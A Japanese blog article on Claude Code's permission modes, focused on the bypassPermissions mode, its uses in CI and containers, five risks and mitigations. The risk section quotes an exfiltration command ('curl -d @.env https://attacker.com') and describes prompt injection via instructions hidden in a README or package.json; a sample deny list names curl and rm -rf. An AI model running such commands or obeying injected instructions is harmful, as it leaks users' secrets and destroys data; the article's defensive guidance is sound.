Claude Codeの権限バイパスモードとは？便利さの裏にあるセキュリティリスクと安全な使い方

Claude Codeには、ほぼすべての操作を確認なしで自動実行できる「権限バイパスモード」（bypassPermissions）が存在します。CI/CDパイプラインやDockerコンテナ内での自動化には非常に便利ですが、使い方を誤ると深刻なセキュリティリスクにつながります。

この記事では、Claude Codeの6つの権限モードの違いを整理した上で、バイパスモードの便利さ・リスク・安全な活用方法を具体例とともに解説します。

1. 権限バイパスモードとは

権限バイパスモードは、Claude Codeの操作時に表示される確認プロンプトをほぼすべてスキップするモードです。手動モードのClaude Codeはファイルの編集やシェルコマンドの実行前にユーザーの承認を求めますが、このモードではそれらが表示されません（わずかな例外は後述）。

起動時のフラグは2つあります（ユーザー設定か管理設定の defaultMode に bypassPermissions と書いても有効になりますが、プロジェクト設定では効きません）。バイパスを有効にせずに始めたセッションからは、途中で切り替えられません。

# フラグで起動
claude --dangerously-skip-permissions

# または権限モード指定
claude --permission-mode bypassPermissions

フラグ名に「dangerously（危険）」が含まれていることからもわかるように、Anthropicはこのモードの使用に注意を促しています。このフラグが存在する理由は、完全に隔離された環境（コンテナやVM）での自動化を可能にするためです。

バイパスは保護パスへの書き込み確認も飛ばします。残る制限の主な例は、適用されるdeny・明示的ask、重要パスの削除確認、本人の応答が必要なツール、Hooksなどです。これは網羅一覧ではありません。公式の残る制限も確認してください。ルールの一致範囲や導入したmodによって判定が変わる条件は、権限ルールの記事で説明しています。

2. Claude Codeの6つの権限モード

Claude Codeには6つの権限モードがあり、それぞれ「確認なしでできること」の範囲が異なります。

各モードの詳細

default（手動）：通常の編集やコマンド実行では承認を求めます。ただし、組み込みの読み取り専用コマンド、allowに一致する操作、サンドボックスの自動許可などは別です。手動だから全操作で確認が出るわけではありません。自動モードが使えない環境や、多くの非対話セッションでは既定になります。

acceptEdits（編集を受け入れる）：作業範囲のファイル編集と、mkdir・touch・rm・rmdir・mv・cp・sedなど認識できるファイル操作を自動承認します。範囲外や保護パスには別の判定があります。他のコマンドも、allowやサンドボックス自動許可に一致すれば確認を省くことがあります。

plan（プラン）：調査・設計を行い、計画ファイルを書くモードです。通常は承認までソース編集を止めますが、対話端末でバイパスを選択可能にした場合は、Plan中も編集禁止を強制しません。調査コマンドは、autoが利用可能でuseAutoModeDuringPlanがオンなら分類器が審査します。オフまたはautoが使えない場合は、組み込みの読み取り専用コマンド以外で確認を求めます。このバイパス例外は-p・SDK・VS Codeチャットには適用されません。

auto（自動）：ほぼすべての操作が確認なしで実行されます。ただし、バックグラウンドで安全性分類器（safety classifier）が動作しており、危険と判断された操作はブロックされます。長時間の自動タスクに適しています。端末と VS Code では、v2.1.283 以降はどのプラン・接続先でも起動時の既定です（2026年10月4日時点。それより前の版で既定が自動モードなのは Pro・Max・Team プランだけで、ほかは手動で始まります。管理者が自動モードを無効にした組織や、自動モードに対応していないモデルでも手動です）。

dontAsk：確認が必要になる操作をすべて自動で拒否し、確認なしで動く操作（作業フォルダ内の読み取りや読み取り専用コマンド）と、許可ルール（allow）に載せた操作だけを実行します。権限承認待ちを減らせますが、本人の応答が必要なツールなど別の待機条件は残ります。Shift+Tab の循環には出ないので、claude --permission-mode dontAsk か設定の defaultMode で指定します。CI など、Claude にできることを事前に固定したい環境向けです。

bypassPermissions（権限をバイパス）：確認プロンプトと安全性分類器が無効化されます（Hooksは実行されます）。コンテナやVM内での使用を想定しており、ローカル環境での使用はAnthropicも推奨していません。

権限モードの切り替えは、CLIでの起動時フラグ以外に、Shift+Tabキーでインタラクティブに変更することもできます（JetBrains も同じ）。VS Code は入力欄の下のモード表示、デスクトップアプリは送信ボタンの横のセレクタから切り替えます。ただしバイパスは、起動時に有効にしていないセッションからは選べません。

3. バイパスモードが便利な場面

バイパスモードは「危険」なだけのモードではありません。適切な環境で使えば開発効率を大幅に向上させます。

CI/CDパイプラインでの活用

GitHub ActionsやGitLab CIなどのCI/CDパイプラインでは、対話的な確認プロンプトに応答するユーザーがいません。バイパスモードを使うことで、自動テスト・コードレビュー・ドキュメント生成などを完全に自動化できます。

# GitHub Actionsでの使用例
claude --dangerously-skip-permissions \
  -p "テストを実行して結果をレポートして"

Dockerコンテナ内での利用

使い捨てコンテナやVMは適切に分離すれば影響範囲を狭められます。ただし、ホストのマウント、資格情報、Dockerソケット、ネットワーク接続を渡すと、その範囲に影響が及びます。コンテナ内のコードやデータの破壊も残るため、コンテナを使うだけで危険が消えるわけではありません。

大量ファイルの一括処理

100以上のファイルを一括で修正するような作業では、毎回の確認プロンプトが大きなオーバーヘッドになります。隔離された環境であれば、バイパスモードで効率的に処理できます。

自動化スクリプトとの連携

無人のバッチ処理では、バイパスは選択肢の1つです。事前に許可を絞るdontAskや、利用可能ならautoも検討できます。バイパスを使う場合は、ホストへ影響できずインターネットにも接続しない隔離環境という公式の前提を確認してください。

4. 5つのセキュリティリスク

バイパスモードを隔離されていない環境で使用すると、以下の深刻なリスクが生じます。

リスク1：プロンプトインジェクション

最も危険なリスクです。悪意のあるコードやファイル（例：READMEやpackage.jsonに仕込まれた命令）に含まれる隠し指示をそのまま実行してしまう可能性があります。

手動モードで承認が必要な呼び出しには、実行前の確認があります。ただしallowやサンドボックスの自動許可などで省く場合もあり、危険性に応じて必ず確認が出るわけではありません。バイパスは通常の承認手順を省きます。

リスク2：任意コマンド実行

curl | bash、削除、パッケージ導入など、広い範囲のシェル操作が確認なしで実行され得ます。バイパスではautoの分類器も働きません。deny・askなど残る判定はありますが、全経路を封じる境界とは考えないでください。

リスク3：データ漏洩

.envファイルや認証トークン、APIキーなどの機密情報を外部エンドポイントに送信するコマンドが、確認なしで実行される可能性があります。例えば、curl -d @.env https://attacker.comのようなコマンドです。

リスク4：操作のエスカレーション

安全なファイル編集から始まった作業が、いつの間にか本番環境へのデプロイやデータベースのマイグレーションに発展する可能性があります。手動モードで承認が必要な操作なら確認の機会がありますが、タスクの節目ごとに必ず確認する仕組みではありません。バイパスでは通常の確認手順も省かれます。

リスク5：不可逆な破壊操作

git push --force、ファイルの完全削除、データベースのDROP TABLEなど、取り消しが不可能な操作が確認なしで実行されるリスクがあります。

5. 安全に使うための対策

バイパスモードを使う必要がある場合は、以下の対策を講じてください。

対策1：コンテナ・VM内に限定する

最も重要な対策です。バイパスモードは必ず隔離された環境で使用してください。Dockerコンテナ、VM、GitHub ActionsのランナーなどのCI環境が該当します。ホストOSで直接実行することは避けてください。

対策2：autoモードを先に検討する

確認回数を減らすなら、まずautoの適用条件と限界を確認してください。分類器が危険と判定した操作は拒否しますが、危険な操作をすべて発見する保証はありません。確認が煩わしいという理由だけでバイパスを選ばないことが大切です。

対策3：allowlistで権限を細かく制御する

allowは一致する呼び出しの承認を省くための指定です。必要なコマンドに絞れますが、許可したスクリプト自体の内容も確認してください。Bashルールはプログラム全体を封じる境界ではなく、Bash(curl *)は/usr/bin/curlや別のシェル経由の呼び出しを捕捉しません。ファイル・通信を強制制限したい場合は、OS側の隔離も必要です。

# .claude/settings.json での権限設定例
{
  "permissions": {
    "allow": [
      "Bash(npm run build)",
      "Bash(npm test)",
      "Bash(git status)"
    ],
    "deny": [
      "Bash(curl *)",
      "Bash(rm -rf *)"
    ]
  }
}

権限ルールはdeny → ask → allowの順に評価されます。denyが最優先されるため、危険なコマンドを明示的に拒否しておけば、allowルールで上書きされることはありません。

対策4：Hooksで監視する

Claude CodeのHooks機能（PreToolUse / PostToolUseフック）を使えば、特定のツール使用前後にカスタムスクリプトを実行できます。そしてバイパスモードでもHooksは実行されます。バイパスが飛ばすのは確認プロンプトであって、Hooksはその前段で動くためです。公式ドキュメントも、PreToolUseフックは確認プロンプトの前に実行され、終了コード2で止めた場合は権限ルールの評価より前にツール呼び出しを中断すると説明しています。

Hooksは追加の検査手段ですが、検査コードの内容と設定の保護も必要です。modが非managedのPreToolUse拒否を承認に置換できる条件もあるため、権限ルールとmodの関係を確認してください。

# PreToolUseフックの例（.claude/settings.json）
{
  "hooks": {
    "PreToolUse": [{
      "matcher": "Bash",
      "hooks": [{
        "type": "command",
        "command": ".claude/hooks/check-safety.sh"
      }]
    }]
  }
}

対策5：ネットワークを制限する

コンテナ内で使用する場合も、外向きのネットワークアクセスを制限することで、データ漏洩リスクを大幅に減らせます。必要なエンドポイント（Anthropic APIなど）のみ許可するのが理想的です。

対策6：作業後のレビューを徹底する

バイパスモードで作業した後は、git diffで変更内容を必ず確認してください。意図しない変更が含まれていないか、機密情報が漏洩していないかをチェックする習慣をつけましょう。

6. 権限モードの使い分けガイド

どのモードを使うべきか迷ったときは、以下のフローチャートを参考にしてください。

場面別のおすすめ設定

日常のコーディング：acceptEditsモードがおすすめです。ファイル編集はスムーズに進みつつ、その他の操作は通常の権限判定になりますが、allowやサンドボックス自動許可などで確認を省く場合があります。

コード調査・設計：Planは実装前の検討に向きます。通常はソース編集を止めますが、計画ファイルなどは書きます。対話端末でバイパスを選択可能にしている場合は編集も止まりません。変更を強制的に防ぎたい場合は、調査専用で使う手順で、OS権限を含む制限を確認してください。

長時間の自動タスク：autoとサンドボックスの併用は選択肢です。分類器と実行範囲の制限を組み合わせられますが、許可範囲や外側の経路を確認し、危険な操作の見落としがないと保証しないでください。

CI/CDパイプライン：許可する呼び出しを事前に決められるなら、dontAsk＋許可ルールを検討します。通常の権限承認待ちを避けられますが、本人応答必須のツールやエラーなど別の停止条件は残ります。バイパスを使う場合も、隔離・ネットワーク制限・マウントの最小化が必要で、モードを選ぶだけで無人完走を保証しません。

バイパスモードは6つある権限モードのひとつにすぎません。各モードの位置づけや使い分けを体系的に把握したい方は、Claude Codeの権限モード全体を解説した記事もあわせてご覧ください。Claude Codeの他の機能について詳しく知りたい方は、Claudeの3つの機能の違いも参考になります。料金プランについてはClaude vs ChatGPT料金比較をご覧ください。

7. まとめ

Claude Codeの権限バイパスモードは、適切な環境で使えば強力なツールですが、誤った使い方をすれば深刻なセキュリティインシデントにつながります。

AIツールの活用でセキュリティが気になる方は、AI偏差値診断で自分のAIリテラシーを確認してみてください。Claude Codeの入門講座は入門講座で体系的に学べます。

FAQ

権限・隔離の対象範囲と例外条件は2026年10月9日に公式原文を再照合しました。端末設定の変更や起動試験は行っていません。